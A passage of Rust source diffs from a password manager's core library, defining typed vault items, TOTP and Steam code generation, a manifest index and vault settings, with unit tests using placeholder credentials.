cvv: Some(Zeroizing::new("123".into())),
pin: Some(Zeroizing::new("0000".into())),
kind: CardKind::Credit,
};
let json = serde_json::to_string(&card).unwrap();
let parsed: CardCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.holder.as_deref(), Some("Alice Doe"));
assert_eq!(parsed.kind, CardKind::Credit);
assert_eq!(parsed.expiry, Some(MonthYear::new(12, 2030).unwrap()));
}
#[test]
fn card_kind_default_is_credit() {
let json = "{}";
let card: CardCore = serde_json::from_str(json).unwrap();
assert_eq!(card.kind, CardKind::Credit);
}
#[test]
fn card_kind_serializes_snake_case() {
let json = serde_json::to_string(&CardKind::Loyalty).unwrap();
assert_eq!(json, "\"loyalty\"");
}
}

View File

@@ -0,0 +1,40 @@
//! Document: filename + mime + pointer to the primary attachment blob.
use serde::{Deserialize, Serialize};
use crate::ids::AttachmentId;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct DocumentCore {
pub filename: String,
pub mime_type: String,
pub primary_attachment: AttachmentId,
}
impl Default for DocumentCore {
fn default() -> Self {
Self {
filename: String::new(),
mime_type: "application/octet-stream".into(),
primary_attachment: AttachmentId(String::new()),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn document_round_trip() {
let doc = DocumentCore {
filename: "passport.pdf".into(),
mime_type: "application/pdf".into(),
primary_attachment: AttachmentId("0123456789abcdef".into()),
};
let json = serde_json::to_string(&doc).unwrap();
let parsed: DocumentCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.filename, "passport.pdf");
assert_eq!(parsed.primary_attachment.as_str(), "0123456789abcdef");
}
}

View File

@@ -0,0 +1,45 @@
//! Identity: name, address, phone, email, date-of-birth.
use chrono::NaiveDate;
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct IdentityCore {
#[serde(skip_serializing_if = "Option::is_none")]
pub full_name: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub address: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub phone: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub email: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub date_of_birth: Option<NaiveDate>,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn identity_full_round_trip() {
let id = IdentityCore {
full_name: Some("Alice Doe".into()),
address: Some("123 Main St\nAnytown".into()),
phone: Some("+1-555-0100".into()),
email: Some("alice@example.com".into()),
date_of_birth: NaiveDate::from_ymd_opt(1990, 4, 18),
};
let json = serde_json::to_string(&id).unwrap();
let parsed: IdentityCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.full_name.as_deref(), Some("Alice Doe"));
assert_eq!(parsed.date_of_birth, NaiveDate::from_ymd_opt(1990, 4, 18));
}
#[test]
fn empty_identity_omits_all_fields() {
let id = IdentityCore::default();
let json = serde_json::to_string(&id).unwrap();
assert_eq!(json, "{}");
}
}

View File

@@ -0,0 +1,42 @@
//! Key: arbitrary key material (Zeroizing), label, public key, algorithm.
use serde::{Deserialize, Serialize};
use zeroize::Zeroizing;
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct KeyCore {
pub key_material: Zeroizing<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub label: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub public_key: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub algorithm: Option<String>,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn key_round_trip() {
let k = KeyCore {
key_material: Zeroizing::new("-----BEGIN OPENSSH PRIVATE KEY-----\n...".into()),
label: Some("yubikey-backup".into()),
public_key: Some("ssh-ed25519 AAAAC3...".into()),
algorithm: Some("ed25519".into()),
};
let json = serde_json::to_string(&k).unwrap();
let parsed: KeyCore = serde_json::from_str(&json).unwrap();
assert!(parsed.key_material.starts_with("-----BEGIN"));
assert_eq!(parsed.algorithm.as_deref(), Some("ed25519"));
}
#[test]
fn empty_key_material_round_trips() {
let k = KeyCore::default();
let json = serde_json::to_string(&k).unwrap();
let parsed: KeyCore = serde_json::from_str(&json).unwrap();
assert!(parsed.key_material.is_empty());
}
}

View File

@@ -0,0 +1,63 @@
//! Login item core: username, password (Zeroizing), URL, optional TOTP.
use serde::{Deserialize, Serialize};
use url::Url;
use zeroize::Zeroizing;
use crate::item_types::TotpConfig;
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct LoginCore {
#[serde(skip_serializing_if = "Option::is_none")]
pub username: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub password: Option<Zeroizing<String>>,
#[serde(skip_serializing_if = "Option::is_none")]
pub url: Option<Url>,
#[serde(skip_serializing_if = "Option::is_none")]
pub totp: Option<TotpConfig>,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn empty_login_round_trips() {
let login = LoginCore::default();
let json = serde_json::to_string(&login).unwrap();
let parsed: LoginCore = serde_json::from_str(&json).unwrap();
assert!(parsed.username.is_none());
assert!(parsed.password.is_none());
}
#[test]
fn full_login_round_trips() {
let login = LoginCore {
username: Some("alice".into()),
password: Some(Zeroizing::new("hunter2".into())),
url: Some(Url::parse("https://github.com/login").unwrap()),
totp: None,
};
let json = serde_json::to_string(&login).unwrap();
let parsed: LoginCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.username.as_deref(), Some("alice"));
assert_eq!(parsed.password.as_deref().map(String::as_str), Some("hunter2"));
assert_eq!(parsed.url.as_ref().map(Url::as_str), Some("https://github.com/login"));
}
#[test]
fn omitted_fields_dont_appear_in_json() {
let login = LoginCore {
username: Some("alice".into()),
password: None,
url: None,
totp: None,
};
let json = serde_json::to_string(&login).unwrap();
assert!(!json.contains("password"));
assert!(!json.contains("url"));
assert!(!json.contains("totp"));
assert!(json.contains("alice"));
}
}

View File

@@ -0,0 +1,127 @@
//! Per-type "core" structs for typed items.
//!
//! Each variant lives in its own submodule. The `ItemCore` enum + match
//! exhaustiveness is the extension mechanism — adding a new variant later
//! means: create the submodule, add the enum variant, fix the match arms
//! the compiler points at, register the popup form (Plan 1C).
use serde::{Deserialize, Serialize};
pub mod login;
pub mod secure_note;
pub mod identity;
pub mod card;
pub mod key;
pub mod document;
pub mod totp;
pub use login::LoginCore;
pub use secure_note::SecureNoteCore;
pub use identity::IdentityCore;
pub use card::{CardCore, CardKind};
pub use key::KeyCore;
pub use document::DocumentCore;
pub use totp::{TotpCore, TotpConfig, TotpAlgorithm, TotpKind, compute_totp_code};
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum ItemType {
Login,
SecureNote,
Identity,
Card,
Key,
Document,
Totp,
}
// INVARIANT: no *Core struct may have a field serialized as "type" —
// that key is reserved for serde's internal tag. Use "kind" for
// type-discriminant fields within core structs (CardKind, TotpKind).
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(tag = "type", rename_all = "snake_case")]
pub enum ItemCore {
Login(LoginCore),
SecureNote(SecureNoteCore),
Identity(IdentityCore),
Card(CardCore),
Key(KeyCore),
Document(DocumentCore),
Totp(TotpCore),
}
impl ItemCore {
pub fn item_type(&self) -> ItemType {
match self {
ItemCore::Login(_) => ItemType::Login,
ItemCore::SecureNote(_) => ItemType::SecureNote,
ItemCore::Identity(_) => ItemType::Identity,
ItemCore::Card(_) => ItemType::Card,
ItemCore::Key(_) => ItemType::Key,
ItemCore::Document(_) => ItemType::Document,
ItemCore::Totp(_) => ItemType::Totp,
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn item_type_serializes_snake_case() {
let json = serde_json::to_string(&ItemType::SecureNote).unwrap();
assert_eq!(json, "\"secure_note\"");
}
#[test]
fn item_core_login_round_trip_via_tag() {
use zeroize::Zeroizing;
let core = ItemCore::Login(LoginCore {
username: Some("alice".into()),
password: Some(Zeroizing::new("hunter2".into())),
url: None,
totp: None,
});
let json = serde_json::to_string(&core).unwrap();
// Tag-based: outer object has "type": "login"
assert!(json.contains("\"type\":\"login\""));
let parsed: ItemCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.item_type(), ItemType::Login);
}
#[test]
fn item_core_secure_note_round_trip_via_tag() {
use zeroize::Zeroizing;
let core = ItemCore::SecureNote(SecureNoteCore { body: Zeroizing::new("hello".into()) });
let json = serde_json::to_string(&core).unwrap();
assert!(json.contains("\"type\":\"secure_note\""));
let parsed: ItemCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.item_type(), ItemType::SecureNote);
}
#[test]
fn item_core_round_trips_for_all_seven_types() {
use crate::ids::AttachmentId;
let cores = vec![
ItemCore::Login(LoginCore::default()),
ItemCore::SecureNote(SecureNoteCore::default()),
ItemCore::Identity(IdentityCore::default()),
ItemCore::Card(CardCore::default()),
ItemCore::Key(KeyCore::default()),
ItemCore::Document(DocumentCore {
filename: "x".into(),
mime_type: "text/plain".into(),
primary_attachment: AttachmentId("0123456789abcdef".into()),
}),
ItemCore::Totp(TotpCore::default()),
];
for core in cores {
let expected_type = core.item_type();
let json = serde_json::to_string(&core).unwrap();
let parsed: ItemCore = serde_json::from_str(&json).expect("round-trip failed");
assert_eq!(parsed.item_type(), expected_type);
}
}
}

View File

@@ -0,0 +1,30 @@
//! Secure note: just a multiline body, Zeroizing.
use serde::{Deserialize, Serialize};
use zeroize::Zeroizing;
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct SecureNoteCore {
pub body: Zeroizing<String>,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn secure_note_round_trips() {
let note = SecureNoteCore { body: Zeroizing::new("a multi\nline note".into()) };
let json = serde_json::to_string(&note).unwrap();
let parsed: SecureNoteCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.body.as_str(), "a multi\nline note");
}
#[test]
fn empty_body_round_trips() {
let note = SecureNoteCore::default();
let json = serde_json::to_string(&note).unwrap();
let parsed: SecureNoteCore = serde_json::from_str(&json).unwrap();
assert!(parsed.body.is_empty());
}
}

View File

@@ -0,0 +1,296 @@
//! TOTP: standalone 2FA item type. Also reused as TotpConfig field on Login.
use hmac::{Hmac, Mac};
use sha1::Sha1 as HmacSha1;
use sha2::{Sha256 as HmacSha256, Sha512 as HmacSha512};
use serde::{Deserialize, Serialize};
use zeroize::Zeroizing;
use crate::error::{RelicarioError, Result};
/// Steam Mobile Authenticator's 5-character output alphabet.
/// Deliberately excludes ambiguous glyphs (0/O, 1/I/L, S/5, A/Z).
const STEAM_ALPHABET: &[u8] = b"23456789BCDFGHJKMNPQRTVWXY";
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
pub struct TotpCore {
pub config: TotpConfig,
#[serde(skip_serializing_if = "Option::is_none")]
pub issuer: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub label: Option<String>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct TotpConfig {
/// Raw bytes of the TOTP secret (decoded from base32 when imported).
pub secret: Zeroizing<Vec<u8>>,
pub algorithm: TotpAlgorithm,
pub digits: u8,
pub period_seconds: u32,
pub kind: TotpKind,
}
impl Default for TotpConfig {
fn default() -> Self {
Self {
secret: Zeroizing::new(Vec::new()),
algorithm: TotpAlgorithm::Sha1,
digits: 6,
period_seconds: 30,
kind: TotpKind::Totp,
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "snake_case")]
pub enum TotpAlgorithm {
#[default]
Sha1,
Sha256,
Sha512,
}
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
#[serde(rename_all = "snake_case")]
pub enum TotpKind {
Totp,
Hotp { counter: u64 },
Steam,
}
impl Default for TotpKind {
fn default() -> Self { TotpKind::Totp }
}
/// Compute a TOTP/Steam code for `config` at the given Unix timestamp.
///
/// For TOTP and Steam: counter = `now_unix_seconds / period_seconds`.
/// HOTP is not supported — returns [`RelicarioError::HotpNotSupported`].
pub fn compute_totp_code(config: &TotpConfig, now_unix_seconds: u64) -> Result<String> {
let counter = match config.kind {
TotpKind::Totp => now_unix_seconds / config.period_seconds as u64,
TotpKind::Hotp { .. } => return Err(RelicarioError::HotpNotSupported),
TotpKind::Steam => now_unix_seconds / config.period_seconds as u64,
};
let counter_bytes = counter.to_be_bytes();
let hmac_out: Vec<u8> = match config.algorithm {
TotpAlgorithm::Sha1 => {
let mut mac = Hmac::<HmacSha1>::new_from_slice(&config.secret)
.map_err(|e| RelicarioError::Format(format!("hmac: {e}")))?;
mac.update(&counter_bytes);
mac.finalize().into_bytes().to_vec()
}
TotpAlgorithm::Sha256 => {
let mut mac = Hmac::<HmacSha256>::new_from_slice(&config.secret)
.map_err(|e| RelicarioError::Format(format!("hmac: {e}")))?;
mac.update(&counter_bytes);
mac.finalize().into_bytes().to_vec()
}
TotpAlgorithm::Sha512 => {
let mut mac = Hmac::<HmacSha512>::new_from_slice(&config.secret)
.map_err(|e| RelicarioError::Format(format!("hmac: {e}")))?;
mac.update(&counter_bytes);
mac.finalize().into_bytes().to_vec()
}
};
let offset = (hmac_out[hmac_out.len() - 1] & 0x0F) as usize;
let truncated = ((hmac_out[offset] as u32 & 0x7F) << 24)
| ((hmac_out[offset + 1] as u32) << 16)
| ((hmac_out[offset + 2] as u32) << 8)
| (hmac_out[offset + 3] as u32);
if matches!(config.kind, TotpKind::Steam) {
let mut t = truncated;
let mut out = String::with_capacity(5);
for _ in 0..5 {
out.push(STEAM_ALPHABET[(t % 26) as usize] as char);
t /= 26;
}
return Ok(out);
}
let modulus = 10u32.pow(config.digits as u32);
Ok(format!("{:0width$}", truncated % modulus, width = config.digits as usize))
}
#[cfg(test)]
mod compute_tests {
use super::*;
#[test]
fn rfc6238_sha1_vector_59() {
let cfg = TotpConfig {
secret: Zeroizing::new(b"12345678901234567890".to_vec()),
algorithm: TotpAlgorithm::Sha1,
digits: 8,
period_seconds: 30,
kind: TotpKind::Totp,
};
assert_eq!(compute_totp_code(&cfg, 59).unwrap(), "94287082");
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn totp_default_is_sha1_6_30_totp() {
let cfg = TotpConfig::default();
assert_eq!(cfg.algorithm, TotpAlgorithm::Sha1);
assert_eq!(cfg.digits, 6);
assert_eq!(cfg.period_seconds, 30);
assert_eq!(cfg.kind, TotpKind::Totp);
}
#[test]
fn totp_round_trip() {
let core = TotpCore {
config: TotpConfig {
secret: Zeroizing::new(vec![0x12, 0x34, 0x56]),
algorithm: TotpAlgorithm::Sha256,
digits: 8,
period_seconds: 60,
kind: TotpKind::Totp,
},
issuer: Some("github".into()),
label: Some("alice@github".into()),
};
let json = serde_json::to_string(&core).unwrap();
let parsed: TotpCore = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.config.digits, 8);
assert_eq!(parsed.config.algorithm, TotpAlgorithm::Sha256);
assert_eq!(parsed.issuer.as_deref(), Some("github"));
}
#[test]
fn hotp_kind_roundtrips_through_json() {
let cfg = TotpConfig { kind: TotpKind::Hotp { counter: 42 }, ..TotpConfig::default() };
let json = serde_json::to_string(&cfg).unwrap();
let parsed: TotpConfig = serde_json::from_str(&json).unwrap();
match parsed.kind {
TotpKind::Hotp { counter } => assert_eq!(counter, 42),
other => panic!("expected Hotp, got {:?}", other),
}
// Note: compute_totp_code will reject this — HOTP not supported
}
#[test]
fn hotp_returns_not_supported_error() {
let cfg = TotpConfig {
secret: Zeroizing::new(b"12345678901234567890".to_vec()),
kind: TotpKind::Hotp { counter: 0 },
..TotpConfig::default()
};
let result = compute_totp_code(&cfg, 0);
assert!(matches!(result, Err(RelicarioError::HotpNotSupported)));
}
#[test]
fn steam_kind_serializes() {
let cfg = TotpConfig { kind: TotpKind::Steam, ..TotpConfig::default() };
let json = serde_json::to_string(&cfg).unwrap();
assert!(json.contains("steam"));
}
}
#[cfg(test)]
mod steam_tests {
use super::*;
/// Reference implementation of the Steam 5-character output, per the
/// Steam Mobile Authenticator (and WinAuth's Steam-Guard adapter).
/// Used by tests below to cross-check the production impl without
/// requiring a third-party vector. The algorithm is short enough to
/// be reproduced here in isolation.
fn steam_output_reference(truncated: u32) -> String {
const ALPHA: &[u8] = b"23456789BCDFGHJKMNPQRTVWXY";
let mut t = truncated;
let mut out = String::with_capacity(5);
for _ in 0..5 {
out.push(ALPHA[(t % 26) as usize] as char);
t /= 26;
}
out
}
/// Compute the dynamic-truncated u32 the same way `compute_totp_code`
/// does internally — used to drive the reference impl.
fn truncated_for(secret: &[u8], counter: u64) -> u32 {
use hmac::{Hmac, Mac};
use sha1::Sha1;
let mut mac = Hmac::<Sha1>::new_from_slice(secret).unwrap();
mac.update(&counter.to_be_bytes());
let bytes = mac.finalize().into_bytes();
let offset = (bytes[bytes.len() - 1] & 0x0F) as usize;
((bytes[offset] as u32 & 0x7F) << 24)
| ((bytes[offset + 1] as u32) << 16)
| ((bytes[offset + 2] as u32) << 8)
| (bytes[offset + 3] as u32)
}
#[test]
fn steam_output_matches_reference_impl() {
let secret = b"12345678901234567890".to_vec();
let cfg = TotpConfig {
secret: Zeroizing::new(secret.clone()),
algorithm: TotpAlgorithm::Sha1,
digits: 5,
period_seconds: 30,
kind: TotpKind::Steam,
};
let code_at_30 = compute_totp_code(&cfg, 30).unwrap();
let code_at_60 = compute_totp_code(&cfg, 60).unwrap();
let code_at_120 = compute_totp_code(&cfg, 120).unwrap();
assert_eq!(code_at_30, steam_output_reference(truncated_for(&secret, 1)));
assert_eq!(code_at_60, steam_output_reference(truncated_for(&secret, 2)));
assert_eq!(code_at_120, steam_output_reference(truncated_for(&secret, 4)));
}
#[test]
fn steam_output_is_exactly_5_chars_regardless_of_digits() {
let secret = b"hello world!".to_vec();
for digits in [4u8, 5, 6, 7, 8] {
let cfg = TotpConfig {
secret: Zeroizing::new(secret.clone()),
algorithm: TotpAlgorithm::Sha1,
digits,
period_seconds: 30,
kind: TotpKind::Steam,
};
let code = compute_totp_code(&cfg, 0).unwrap();
assert_eq!(code.len(), 5, "Steam output must be 5 chars (digits={})", digits);
}
}
#[test]
fn steam_output_uses_only_alphabet_chars() {
const ALPHA: &str = "23456789BCDFGHJKMNPQRTVWXY";
let secret = b"hello world!".to_vec();
let cfg = TotpConfig {
secret: Zeroizing::new(secret),
algorithm: TotpAlgorithm::Sha1,
digits: 5,
period_seconds: 30,
kind: TotpKind::Steam,
};
for t in 0u64..1000 {
let code = compute_totp_code(&cfg, t * 30).unwrap();
for ch in code.chars() {
assert!(ALPHA.contains(ch), "char {ch:?} not in Steam alphabet (t={t})");
}
}
}
#[test]
fn steam_alphabet_excludes_ambiguous_glyphs() {
// Authoritative Steam Guard alphabet from Valve's Steam Mobile
// Authenticator: 26 chars, excludes 0/O, 1/I/L, S, A, E, U, Z.
// (Note: '5' IS in the alphabet — S is excluded, so 5 is unambiguous.)
const ALPHA: &str = "23456789BCDFGHJKMNPQRTVWXY";
for ch in ['0', 'O', '1', 'I', 'L', 'S', 'A', 'Z'] {
assert!(!ALPHA.contains(ch), "ambiguous glyph {ch:?} must not be in alphabet");
}
}
}

View File

@@ -0,0 +1,88 @@
//! # relicario-core
//!
//! Platform-agnostic core library for the Relicario password manager.
//!
//! This crate is intentionally **bytes-in/bytes-out** -- it performs no filesystem
//! access, no network I/O, and no git operations. All inputs arrive as byte slices
//! or typed structs, and all outputs are returned as byte vectors or typed structs.
//! This design makes the crate portable to WASM, Android (via JNI/UniFFI), and iOS
//! without any conditional compilation or platform shims.
//!
//! ## Modules
//!
//! - [`error`] — The unified error type ([`RelicarioError`]).
//! - [`crypto`] — Argon2id KDF (length-prefixed inputs, Zeroizing output) and
//! XChaCha20-Poly1305 AEAD with VERSION_BYTE 0x02.
//! - [`ids`] — `ItemId`, `FieldId`, and content-addressed `AttachmentId`.
//! - [`time`] — unix-seconds + `MonthYear` for card expiries.
//! - [`item_types`] — Per-type cores (`LoginCore`, `SecureNoteCore`, etc.) and the
//! `ItemCore`/`ItemType` enums.
//! - [`item`] — `Item` envelope, `Field`, `FieldKind`, `FieldValue`, `Section`,
//! `FieldHistoryEntry`.
//! - [`attachment`] — `AttachmentRef`, `AttachmentSummary`, encrypt/decrypt helpers.
//! - [`manifest`] — Browse-without-decrypt index (schema_version 2).
//! - [`settings`] — Vault-level retention, generator defaults, attachment caps.
//! - [`generators`] — CSPRNG password + BIP39 passphrase generators; zxcvbn
//! strength gate.
//! - [`vault`] — Typed encrypt/decrypt wrappers (Item, Manifest, VaultSettings).
//! - [`imgsecret`] — DCT-based steganography for the second auth factor.
//!
//! ## Crypto pipeline
//!
//! ```text
//! passphrase (UTF-8 bytes) || image_secret (32 bytes from reference JPEG)
//! -> Argon2id(salt=vault_salt, m=64MiB, t=3, p=4)
//! -> master_key (32 bytes)
//! -> XChaCha20-Poly1305(nonce=random 24 bytes)
//! -> encrypted entry/manifest
//! ```
pub mod error;
pub use error::{RelicarioError, Result};
pub mod crypto;
pub use crypto::{decrypt, derive_master_key, encrypt, KdfParams, VERSION_BYTE};
pub mod ids;
pub use ids::{AttachmentId, FieldId, ItemId};
pub mod time;
pub use time::{now_unix, MonthYear};
pub mod item_types;
pub use item_types::{ItemCore, ItemType};
pub mod item;
pub use item::{Field, FieldHistoryEntry, FieldKind, FieldValue, Item, Section};
pub mod attachment;
pub use attachment::{decrypt_attachment, encrypt_attachment, AttachmentRef, AttachmentSummary, EncryptedAttachment};
pub mod manifest;
pub use manifest::{Manifest, ManifestEntry, MANIFEST_SCHEMA_VERSION};
pub mod settings;
pub use settings::{
AttachmentCaps, Capitalization, CharClasses, GeneratorRequest, HistoryRetention,
SymbolCharset, TrashRetention, VaultSettings,
};
pub mod generators;
pub use generators::{generate_passphrase, generate_password, rate_passphrase, validate_passphrase_strength, StrengthEstimate};
pub mod vault;
pub use vault::{
decrypt_item, decrypt_manifest, decrypt_settings,
encrypt_item, encrypt_manifest, encrypt_settings,
};
pub mod imgsecret;
pub mod backup;
pub use backup::{pack_backup, unpack_backup, BackupInput, BackupOutput, BackupItem, BackupAttachment};
pub mod import_lastpass;
pub use import_lastpass::{parse_lastpass_csv, ImportWarning};
pub mod device;
pub use device::{DeviceEntry, RevokedEntry, generate_keypair, sign, verify};

View File

@@ -0,0 +1,159 @@
//! New typed-item manifest. Lives next to the old entry.rs Manifest
//! during this rewrite; entry.rs is deleted in Task 25.
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use crate::attachment::AttachmentSummary;
use crate::ids::ItemId;
use crate::item::Item;
use crate::item_types::ItemType;
pub const MANIFEST_SCHEMA_VERSION: u32 = 2;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Manifest {
pub schema_version: u32,
pub items: HashMap<ItemId, ManifestEntry>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ManifestEntry {
pub id: ItemId,
pub r#type: ItemType,
pub title: String,
#[serde(default)]
pub tags: Vec<String>,
#[serde(default)]
pub favorite: bool,
#[serde(skip_serializing_if = "Option::is_none")]
pub group: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub icon_hint: Option<String>,
pub modified: i64,
#[serde(skip_serializing_if = "Option::is_none")]
pub trashed_at: Option<i64>,
#[serde(default)]
pub attachment_summaries: Vec<AttachmentSummary>,
}
impl Manifest {
pub fn new() -> Self {
Self { schema_version: MANIFEST_SCHEMA_VERSION, items: HashMap::new() }
}
pub fn upsert(&mut self, item: &Item) {
let entry = ManifestEntry::from_item(item);
self.items.insert(item.id.clone(), entry);
}
pub fn remove(&mut self, id: &ItemId) -> Option<ManifestEntry> {
self.items.remove(id)
}
pub fn get(&self, id: &ItemId) -> Option<&ManifestEntry> {
self.items.get(id)
}
/// Case-insensitive substring match on title and tags.
pub fn search(&self, query: &str) -> Vec<&ManifestEntry> {
let q = query.to_lowercase();
self.items
.values()
.filter(|e| {
e.title.to_lowercase().contains(&q)
|| e.tags.iter().any(|t| t.to_lowercase().contains(&q))
})
.collect()
}
}
impl Default for Manifest {
fn default() -> Self { Self::new() }
}
impl ManifestEntry {
pub fn from_item(item: &Item) -> Self {
Self {
id: item.id.clone(),
r#type: item.r#type,
title: item.title.clone(),
tags: item.tags.clone(),
favorite: item.favorite,
group: item.group.clone(),
icon_hint: derive_icon_hint(item),
modified: item.modified,
trashed_at: item.trashed_at,
attachment_summaries: item.attachments.iter().map(Into::into).collect(),
}
}
}
/// Derive an icon hint string from an item — for Login items, this is the URL hostname.
fn derive_icon_hint(item: &Item) -> Option<String> {
use crate::item_types::ItemCore;
match &item.core {
ItemCore::Login(l) => l.url.as_ref().and_then(|u| u.host_str().map(str::to_owned)),
_ => None,
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::item_types::{ItemCore, LoginCore, SecureNoteCore};
#[test]
fn empty_manifest_has_schema_v2() {
let m = Manifest::new();
assert_eq!(m.schema_version, MANIFEST_SCHEMA_VERSION);
assert!(m.items.is_empty());
}
#[test]
fn upsert_and_search() {
let mut m = Manifest::new();
let mut item = Item::new("GitHub".into(), ItemCore::Login(LoginCore::default()));
item.tags = vec!["work".into()];
m.upsert(&item);
let results = m.search("github");
assert_eq!(results.len(), 1);
let by_tag = m.search("work");
assert_eq!(by_tag.len(), 1);
}
#[test]
fn icon_hint_is_login_url_host() {
use url::Url;
let mut m = Manifest::new();
let core = ItemCore::Login(LoginCore {
url: Some(Url::parse("https://api.github.com/login").unwrap()),
..Default::default()
});
let item = Item::new("X".into(), core);
m.upsert(&item);
let entry = m.items.values().next().unwrap();
assert_eq!(entry.icon_hint.as_deref(), Some("api.github.com"));
}
#[test]
fn icon_hint_is_none_for_non_login() {
let mut m = Manifest::new();
let item = Item::new("note".into(), ItemCore::SecureNote(SecureNoteCore::default()));
m.upsert(&item);
let entry = m.items.values().next().unwrap();
assert!(entry.icon_hint.is_none());
}
#[test]
fn manifest_round_trips() {
let mut m = Manifest::new();
let item = Item::new("X".into(), ItemCore::SecureNote(SecureNoteCore::default()));
m.upsert(&item);
let json = serde_json::to_string(&m).unwrap();
let parsed: Manifest = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.schema_version, MANIFEST_SCHEMA_VERSION);
assert_eq!(parsed.items.len(), 1);
}
}

View File

@@ -0,0 +1,184 @@
//! Vault-level settings: trash retention, history retention, generator
//! defaults, attachment caps, autofill TOFU acks.
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct VaultSettings {
pub trash_retention: TrashRetention,
pub field_history_retention: HistoryRetention,
pub generator_defaults: GeneratorRequest,
pub attachment_caps: AttachmentCaps,
/// hostname → unix-seconds first-acked
#[serde(default)]
pub autofill_origin_acks: HashMap<String, i64>,
}
impl Default for VaultSettings {
fn default() -> Self {
Self {
trash_retention: TrashRetention::Days(30),
field_history_retention: HistoryRetention::Forever,
generator_defaults: GeneratorRequest::default(),
attachment_caps: AttachmentCaps::default(),
autofill_origin_acks: HashMap::new(),
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
pub enum TrashRetention {
Days(u32),
Forever,
}
impl TrashRetention {
pub fn should_purge(&self, trashed_at: i64, now: i64) -> bool {
match self {
TrashRetention::Forever => false,
TrashRetention::Days(d) => now - trashed_at > (*d as i64) * 86_400,
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
pub enum HistoryRetention {
LastN(u32),
Days(u32),
Forever,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(tag = "kind", rename_all = "snake_case")]
pub enum GeneratorRequest {
Bip39 {
word_count: u32,
separator: String,
capitalization: Capitalization,
},
Random {
length: u32,
classes: CharClasses,
symbol_charset: SymbolCharset,
},
}
impl Default for GeneratorRequest {
fn default() -> Self {
GeneratorRequest::Random {
length: 20,
classes: CharClasses { lower: true, upper: true, digits: true, symbols: true },
symbol_charset: SymbolCharset::SafeOnly,
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum Capitalization {
Lower,
Upper,
FirstOfEach,
Title,
Mixed,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
pub struct CharClasses {
pub lower: bool,
pub upper: bool,
pub digits: bool,
pub symbols: bool,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(tag = "kind", content = "value", rename_all = "snake_case")]
pub enum SymbolCharset {
SafeOnly,
Extended,
Custom(String),
}
#[derive(Debug, Clone, Copy, Serialize, Deserialize)]
pub struct AttachmentCaps {
pub per_attachment_max_bytes: u64,
pub per_item_max_count: u32,
pub per_vault_soft_cap_bytes: u64,
pub per_vault_hard_cap_bytes: u64,
}
impl Default for AttachmentCaps {
fn default() -> Self {
Self {
per_attachment_max_bytes: 10 * 1024 * 1024,
per_item_max_count: 20,
per_vault_soft_cap_bytes: 100 * 1024 * 1024,
per_vault_hard_cap_bytes: 500 * 1024 * 1024,
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn defaults_match_spec() {
let s = VaultSettings::default();
assert!(matches!(s.trash_retention, TrashRetention::Days(30)));
assert!(matches!(s.field_history_retention, HistoryRetention::Forever));
assert_eq!(s.attachment_caps.per_attachment_max_bytes, 10 * 1024 * 1024);
assert_eq!(s.attachment_caps.per_item_max_count, 20);
}
#[test]
fn trash_retention_purges_after_days() {
let r = TrashRetention::Days(30);
let now = 1_000_000_000;
let recently_trashed = now - 29 * 86_400;
let long_trashed = now - 31 * 86_400;
assert!(!r.should_purge(recently_trashed, now));
assert!(r.should_purge(long_trashed, now));
}
#[test]
